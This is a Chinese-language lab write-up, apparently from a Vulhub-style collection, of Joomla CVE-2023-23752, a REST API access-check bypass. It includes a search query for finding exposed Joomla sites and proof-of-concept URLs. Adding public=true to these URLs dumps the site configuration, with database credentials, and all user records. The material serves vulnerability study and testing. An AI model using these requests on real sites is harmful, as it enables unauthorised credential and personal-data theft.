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60 lines
1.5 KiB
Markdown
60 lines
1.5 KiB
Markdown
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# Joomla application 权限绕过漏洞 CVE-2023-23752
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## 漏洞描述
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Joomla是一个开源免费的内容管理系统（CMS），基于PHP开发。
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在其4.0.0版本到4.2.7版本中，存在一处属性覆盖漏洞，导致攻击者可以通过恶意请求绕过权限检查，访问任意Rest API。
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参考链接：
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- https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
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- https://xz.aliyun.com/t/12175
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- https://vulncheck.com/blog/joomla-for-rce
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## 漏洞影响
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```
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Joomla 4.0.0 - 4.2.7
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```
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## 网络测绘
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```
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app="Joomla"
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```
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## 环境搭建
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Vulhub执行如下命令启动一个Joomla 4.2.7：
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```
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docker-compose up -d
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```
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服务启动后，访问`http://your-ip:8080`即可查看到Joomla页面。
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## 漏洞复现
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这个漏洞是由于错误的属性覆盖导致的，攻击者可以通过在访问Rest API时传入参数`public=true`来绕过权限校验。
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比如，访问下面这个链接即可读取所有配置项，包括数据库连接用户名和密码：
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```
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http://your-ip:8080/api/index.php/v1/config/application?public=true
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```
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如果不添加`public=true`，则访问会被拒绝：
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访问下面这个链接即可读取所有用户信息，包含邮箱等：
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```
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http://your-ip:8080/api/index.php/v1/users?public=true
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```
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